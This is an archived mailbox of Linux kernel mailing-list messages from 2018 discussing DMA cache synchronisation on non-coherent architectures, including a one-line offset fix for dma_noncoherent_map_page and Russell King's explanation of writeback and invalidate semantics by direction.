> --- a/lib/dma-noncoherent.c
> +++ b/lib/dma-noncoherent.c
> @@ -35,7 +35,7 @@ static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page
>  
>         addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
>         if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
> -               arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
> +               arch_sync_dma_for_device(dev, page_to_phys(page) + offset, size, dir);
>         return addr;
>  }
> ---------------------------------------->8------------------------------------
> 
> You seem to lost an offset in the page so if we happen to have a buffer not aligned to
> a page boundary then we were obviously corrupting data outside our data :)

Good.
This patch seems to fix the dma issues I faced on my 32bit B160L parisc box.

So it leaves only one open issue on parisc:
Now every 32 bit parisc system is unnecessarily non-coherent.

Helge

From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH 02/20]
	dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 13:35:08 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <cecfe6bd-ef1f-1e25-bfcf-992d1f828efb@synopsys.com>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
	<20180518175004.GF17671@n2100.armlinux.org.uk>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; Format="flowed"
Content-Transfer-Encoding: base64
X-Trace: blaine.gmane.org 1526675601 19267 195.159.176.226 (18 May 2018 20:33:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 20:33:21 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.7.0
Cc: "linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>,
	"linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org" <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>,
	"linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org" <linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org" <monst
To: Russell King - ARM Linux <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 22:33:16 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJm3u-0004rK-PH
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 22:33:15 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 1FACA92F;
	Fri, 18 May 2018 20:35:24 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 21B22892
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 20:35:23 +0000 (UTC)
X-Greylist: domain auto-whitelisted by SQLgrey-1.7.6
Original-Received: from smtprelay.synopsys.com (us01smtprelay-2.synopsys.com
	[198.182.60.111])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id C1D86E5
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 20:35:22 +0000 (UTC)
Original-Received: from mailhost.synopsys.com (mailhost2.synopsys.com [10.13.184.66])
	by smtprelay.synopsys.com (Postfix) with ESMTP id A9A1010C0D0C;
	Fri, 18 May 2018 13:35:21 -0700 (PDT)
Original-Received: from US01WEHTC2.internal.synopsys.com
	(us01wehtc2.internal.synopsys.com [10.12.239.237])
	by mailhost.synopsys.com (Postfix) with ESMTP id 4C3DB3DCC;
	Fri, 18 May 2018 13:35:21 -0700 (PDT)
Original-Received: from IN01WEHTCB.internal.synopsys.com (10.144.199.106) by
	US01WEHTC2.internal.synopsys.com (10.12.239.237) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Fri, 18 May 2018 13:35:21 -0700
Original-Received: from IN01WEHTCA.internal.synopsys.com (10.144.199.103) by
	IN01WEHTCB.internal.synopsys.com (10.144.199.105) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Sat, 19 May 2018 02:05:18 +0530
Original-Received: from [10.10.161.52] (10.10.161.52) by
	IN01WEHTCA.internal.synopsys.com (10.144.199.243) with Microsoft SMTP
	Server (TLS) id 14.3.361.1; Sat, 19 May 2018 02:05:18 +0530
In-Reply-To: <20180518175004.GF17671-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>
Content-Language: en-US
X-Originating-IP: [10.10.161.52]
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24397 gmane.linux.ports.sh.devel:57050 gmane.linux.kernel.mm:195996 gmane.linux.ports.sparc:27887 gmane.linux.kernel.cross-arch:44271 gmane.linux.ports.hexagon:1738 gmane.linux.kernel.arc:3913 gmane.linux.ports.arm.kernel:651428 gmane.linux.ports.parisc:28631 gmane.linux.kernel:2771417 gmane.linux.ports.alpha:5059
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24397>

T24gMDUvMTgvMjAxOCAxMDo1MCBBTSwgUnVzc2VsbCBLaW5nIC0gQVJNIExpbnV4IHdyb3RlOgo+
IE9uIEZyaSwgTWF5IDE4LCAyMDE4IGF0IDEwOjIwOjAyQU0gLTA3MDAsIFZpbmVldCBHdXB0YSB3
cm90ZToKPj4gSSBuZXZlciB1bmRlcnN0b29kIHRoZSBuZWVkIGZvciB0aGlzIGRpcmVjdGlvbi4g
QW5kIGlmIG1lbW9yeSBzZXJ2ZXMgbWUKPj4gcmlnaHQsIGF0IHRoYXQgdGltZSBJIHdhcyBzZWVp
bmcgdHdpY2UgdGhlIGFtb3VudCBvZiBjYWNoZSBmbHVzaGluZyAhCj4gSXQncyBuZWNlc3Nhcnku
ICBUYWtlIGEgbW9tZW50IHRvIHRoaW5rIGNhcmVmdWxseSBhYm91dCB0aGlzOgo+Cj4gCWRtYV9t
YXBfc2luZ2xlKCwgZGlyKQo+Cj4gCWRtYV9zeW5jX3NpbmdsZV9mb3JfY3B1KCwgZGlyKQo+Cj4g
CWRtYV9zeW5jX3NpbmdsZV9mb3JfZGV2aWNlKCwgZGlyKQo+Cj4gCWRtYV91bm1hcF9zaW5nbGUo
LCBkaXIpCgpBcyBhbiBhc2lkZSwgZG8gdGhlc2UgaW1wbHkgYSBzdGF0ZSBtYWNoaW5lIG9mIHNv
cnRzIC0gZG9lcyBhIGRyaXZlciBuZWVkcyB0byAKYWx3YXlzIGNhbGwgbWFwX3NpbmdsZSBmaXJz
dCA/CgpNeSBvcmlnaW5hbCBwb2ludCBvZiBjb250ZW50aW9uL2NvbmZ1c2lvbiBpcyB0aGUgc3Bl
Y2lmaWMgY29tYmluYXRpb25zIG9mIEFQSSBhbmQgCmRpcmVjdGlvbiwgc3BlY2lmaWNhbGx5IGZv
cl9jcHUoVE9fREVWKSBhbmQgZm9yX2RldmljZShUT19DUFUpCgpTZW1hbnRpY2FsbHkgd2hhdCBk
b2VzIGRtYV9zeW5jX3NpbmdsZV9mb3JfY3B1KFRPX0RFVikgZXZlbiBpbXBseSBmb3IgYSBub24g
ZG1hIApjb2hlcmVudCBhcmNoLgpZb3VyIHRhYmxlcyBiZWxvdyBoYXZlICJub25lIiBmb3IgYm90
aCwgaW1wbHlpbmcgaXQgaXMgdW5saWtlbHkgdG8gYmUgYSByZWFsIApjb21iaW5hdGlvbiAoZm9y
IEFSTSBhbmQgQVJDIGF0bGVhc3QpLgoKVGhlIG90aGVyIGNhc2UsIGFjdHVhbGx5IEBkaXIgVE9f
Q1BVLCBpbmRlcGVuZGVudCBvZiBmb3Jfe2NwdSwgZGV2aWNlfcKgIGltcGxpZXMgCmRyaXZlciBp
bnRlbmRzIHRvIHRvdWNoIGl0IGFmdGVyIHRoZSBjYWxsLCBzbyBpdCB3b3VsZCBpbnZhbGlkYXRl
IGFueSBzdHJheSBsaW5lcywgCnVuY29uZGl0aW9uYWxseSAoYW5kIG5vdCBqdXN0IGZvciBzcGVj
dWxhdGl2ZSBwcmVmZXRjaCBjYXNlKS4KCgo+IEluIHRoZSBjYXNlIG9mIGEgRE1BLWluY29oZXJl
bnQgYXJjaGl0ZWN0dXJlLCB0aGUgb3BlcmF0aW9ucyBkb25lIGF0IGVhY2gKPiBzdGFnZSBkZXBl
bmQgb24gdGhlIGRpcmVjdGlvbiBhcmd1bWVudDoKPgo+IAltYXAJCWZvcl9jcHUJCWZvcl9kZXZp
Y2UJdW5tYXAKPiBUT19ERVYJd3JpdGViYWNrCW5vbmUJCXdyaXRlYmFjawlub25lCj4gVE9fQ1BV
CWludmFsaWRhdGUJaW52YWxpZGF0ZSoJaW52YWxpZGF0ZQlpbnZhbGlkYXRlKgo+IEJJRElSCXdy
aXRlYmFjawlpbnZhbGlkYXRlCXdyaXRlYmFjawlpbnZhbGlkYXRlCj4KPiAqIC0gb25seSBuZWNl
c3NhcnkgaWYgdGhlIENQVSBzcGVjdWxhdGl2ZWx5IHByZWZldGNoZXMuCj4KPiBUaGUgbXVsdGlw
bGUgaW52YWxpZGF0aW9ucyBmb3IgdGhlIFRPX0NQVSBjYXNlIGhhbmRsZXMgZGlmZmVyZW50Cj4g
Y29uZGl0aW9ucyB0aGF0IGNhbiByZXN1bHQgaW4gZGF0YSBjb3JydXB0aW9uLCBhbmQgZm9yIHNv
bWUgQ1BVcywgYWxsCj4gZm91ciBhcmUgbmVjZXNzYXJ5LgoKQ2FuIHlvdSBwbGVhc2UgZXhwbGFp
biBpbiBzb21lIG1vcmUgZGV0YWlsLCBUT19DUFUgcm93LCB3aHkgaW52YWxpZGF0ZSBpcyAKY29u
ZGl0aW9uYWwgc29tZXRpbWVzLgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fXwppb21tdSBtYWlsaW5nIGxpc3QKaW9tbXVAbGlzdHMubGludXgtZm91bmRhdGlv
bi5vcmcKaHR0cHM6Ly9saXN0cy5saW51eGZvdW5kYXRpb24ub3JnL21haWxtYW4vbGlzdGluZm8v
aW9tbXU=


From - Thu Nov 08 21:41:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH
	02/20] dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 22:33:10 +0100
Lines: 94
Approved: news@gmane.org
Message-ID: <20180518213309.GG17671@n2100.armlinux.org.uk>
References: <20180511075945.16548-1-hch@lst.de>
	<20180511075945.16548-3-hch@lst.de>
	<bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
	<5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
	<20180518175004.GF17671@n2100.armlinux.org.uk>
	<182840dedb4890a88c672b1c5d556920bf89a8fb.camel@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526679091 7991 195.159.176.226 (18 May 2018 21:31:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 21:31:31 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: "linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org" <linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, "hch-jcswGhMUV9g@public.gmane.org" <hch-jcswGhMUV9g@public.gmane.org>,
	"linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org" <linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org" <linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org>,
	"Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org" <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>,
	"linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org" <linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org>,
	"openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org" <openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org>,
	"green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org" <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
	"linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"monstr@mons
To: Alexey Brodkin <Alexey.Brodkin-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri May 18 23:31:25 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fJmyC-0001wj-1n
	for glki-iommu@m.gmane.org; Fri, 18 May 2018 23:31:25 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id F1C35CB5;
	Fri, 18 May 2018 21:33:34 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id B5DE989F
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 21:33:33 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from pandora.armlinux.org.uk (pandora.armlinux.org.uk [78.32.30.218])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id A57FBD3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 18 May 2018 21:33:32 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=armlinux.org.uk; s=pandora-2014; h=Sender:In-Reply-To:Content-Type:
	MIME-Version:References:Message-ID:Subject:Cc:To:From:Date:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=+VtlEKMc0qw/70CkC48YEtrDLPYzFRdBDGBkF4QFvn0=;
	b=RbYhN7cajX9Eq3e/LZJcMsgnU
	XDKyeIh90oaVzmhBuGLTtTDSfkcDzKmyTKbu0BNUnWYi1atRaruN+RZ2MHgRUXz2iinU7WAQIAse8
	HjiKQvNwcJ1MSpo65+lut9aygEgqjtM0IveicjvoEIp7Mo8frGI5lyJi23NjglrB5sd+o=; 
Original-Received: from n2100.armlinux.org.uk
	([2002:4e20:1eda:1:214:fdff:fe10:4f86]:51332)
	by pandora.armlinux.org.uk with esmtpsa
	(TLSv1.2:ECDHE-RSA-AES128-GCM-SHA256:128) (Exim 4.90_1)
	(envelope-from <linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org>)
	id 1fJn01-00008X-1H; Fri, 18 May 2018 22:33:17 +0100
Original-Received: from linux by n2100.armlinux.org.uk with local (Exim 4.90_1)
	(envelope-from <linux-l+eeeJia6m9URfEZ8mYm6t73F7V6hmMc@public.gmane.org>)
	id 1fJmzx-0001fY-5q; Fri, 18 May 2018 22:33:13 +0100
Content-Disposition: inline
In-Reply-To: <182840dedb4890a88c672b1c5d556920bf89a8fb.camel-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24399 gmane.linux.ports.sh.devel:57051 gmane.linux.kernel.mm:195999 gmane.linux.ports.sparc:27888 gmane.linux.kernel.cross-arch:44272 gmane.linux.ports.hexagon:1739 gmane.linux.kernel.arc:3914 gmane.linux.ports.arm.kernel:651443 gmane.linux.ports.parisc:28632 gmane.linux.kernel:2771465 gmane.linux.ports.alpha:5060
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24399>

On Fri, May 18, 2018 at 07:57:34PM +0000, Alexey Brodkin wrote:
> Hi Russel,

That's Russell.

> On Fri, 2018-05-18 at 18:50 +0100, Russell King - ARM Linux wrote:
> > It's necessary.  Take a moment to think carefully about this:
> > 
> >         dma_map_single(, dir)
> > 
> >         dma_sync_single_for_cpu(, dir)
> > 
> >         dma_sync_single_for_device(, dir)
> > 
> >         dma_unmap_single(, dir)
> > 
> > In the case of a DMA-incoherent architecture, the operations done at each
> > stage depend on the direction argument:
> > 
> >         map             for_cpu         for_device      unmap
> > TO_DEV  writeback       none            writeback       none
> > TO_CPU  invalidate      invalidate*     invalidate      invalidate*
> > BIDIR   writeback       invalidate      writeback       invalidate
> > 
> > * - only necessary if the CPU speculatively prefetches.
> 
> I think invalidation of DMA buffer is required on for_cpu(TO_CPU) even
> if CPU doesn't preferch - what if we reuse the same buffer for multiple
> reads from DMA device?

That's fine - for non-coherent DMA, the CPU caches will only end up
containing data for that memory if:
- the CPU speculatively fetches data from that memory, or
- the CPU explicitly touches that memory

> > The multiple invalidations for the TO_CPU case handles different
> > conditions that can result in data corruption, and for some CPUs, all
> > four are necessary.
> 
> I would agree that map()/unmap() a quite a special cases and so depending
> on direction we need to execute in them either for_cpu() or for_device()
> call-backs depending on direction.
> 
> As for invalidation in case of for_device(TO_CPU) I still don't see
> a rationale behind it. Would be interesting to see a real example where
> we benefit from this.

Yes, you could avoid that, but depending how you structure the
architecture implementation, it can turn out to be a corner case.
The above table is precisely how 32-bit ARM is implemented, because
the way we implement them is based on who owns the memory - the "map"
and "for_device" operations translate internally to a cpu-to-device
ownership transition of the buffer.  Similar for "unmap" and "to_cpu".
It basically avoids having to add additional functions at the lower
implementation levels.

> > Things get more interesting if the implementation behind the DMA API has
> > to copy data between the buffer supplied to the mapping and some DMA
> > accessible buffer:
> > 
> >         map             for_cpu         for_device      unmap
> > TO_DEV  copy to dma     none            copy to dma     none
> > TO_CPU  none            copy to cpu     none            copy to cpu
> > BIDIR   copy to dma     copy to cpu     copy to dma     copy to cpu
> > 
> > So, in both cases, the value of the direction argument defines what you
> > need to do in each call.
> 
> Interesting enough in your seond table (which describes more complicated
> case indeed) you set "none" for for_device(TO_CPU) which looks logical
> to me.
> 
> So IMHO that's what make sense:
> ---------------------------->8-----------------------------
>         map             for_cpu         for_device      unmap
> TO_DEV  writeback       none            writeback       none
> TO_CPU  none            invalidate      none            invalidate*
> BIDIR   writeback       invalidate      writeback       invalidate*
> ---------------------------->8-----------------------------

That doesn't make sense for the TO_CPU case.  If the caches contain
dirty cache lines, and you're DMAing from the device to the system
RAM, other system activity can cause the dirty cache lines to be
evicted (written back) to memory which the DMA has already overwritten.
The result is data corruption.  So, you really can't have "none" in
the "map" case there.

Given that, the "for_cpu" case becomes dependent on whether the CPU
speculatively prefetches.

-- 
RMK's Patch system: http://www.armlinux.org.uk/developer/patches/
FTTC broadband for 0.8mile line in suburbia: sync at 8.8Mbps down 630kbps up
According to speedtest.net: 8.21Mbps down 510kbps up

From - Thu Nov 08 21:41:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Russell King - ARM Linux <linux@armlinux.org.uk>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel.mm,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: Re: dma_sync_*_for_cpu and direction=TO_DEVICE (was Re: [PATCH
 02/20] dma-mapping: provide a generic dma-noncoherent implementation)
Date: Fri, 18 May 2018 22:55:48 +0100
Lines: 108
Approved: news@gmane.org
Message-ID: <20180518215548.GH17671@n2100.armlinux.org.uk>
References: <20180511075945.16548-1-hch@lst.de>
 <20180511075945.16548-3-hch@lst.de>
 <bad125dff49f6e49c895e818c9d1abb346a46e8e.camel@synopsys.com>
 <5ac5b1e3-9b96-9c7c-4dfe-f65be45ec179@synopsys.com>
 <20180518175004.GF17671@n2100.armlinux.org.uk>
 <cecfe6bd-ef1f-1e25-bfcf-992d1f828efb@synopsys.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1526680444 7955 195.159.176.226 (18 May 2018 21:54:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 18 May 2018 21:54:04 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: Alexey Brodkin <Alexey.Brodkin@synopsys.com>,
        "hch@lst.de" <hch@lst.de>,
        "linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
